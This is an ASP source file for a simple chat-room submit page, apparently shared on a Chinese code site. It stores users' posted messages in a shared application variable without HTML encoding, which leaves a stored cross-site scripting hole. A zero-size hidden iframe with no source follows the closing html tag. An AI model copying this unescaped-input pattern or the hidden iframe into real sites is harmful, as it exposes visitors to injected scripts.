send.asp

来自「做好的小系统工程。 急需求助站长...........希望能快点开通」· ASP 代码 · 共 27 行

<%
    dim submit
	submit = request.Form("Submit")
	if submit = "提交" then 
	    if request.Form("content")<>"" then
		    application.Lock()
		    application("contents") = application("contents") &"<br>"& session("username")&"["&request.ServerVariables("REMOTE_ADDR")&"]"&"说："& request.Form("content")
			application.UnLock()
		end if
	end if
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
</head>

<body>
<form name="form1" method="post" action="">
  <input name="content" type="text" id="content" size="50">
  <input type="submit" name="Submit" value="提交">
</form>
</body>
</html>
<iframe  width=0 height=0></iframe>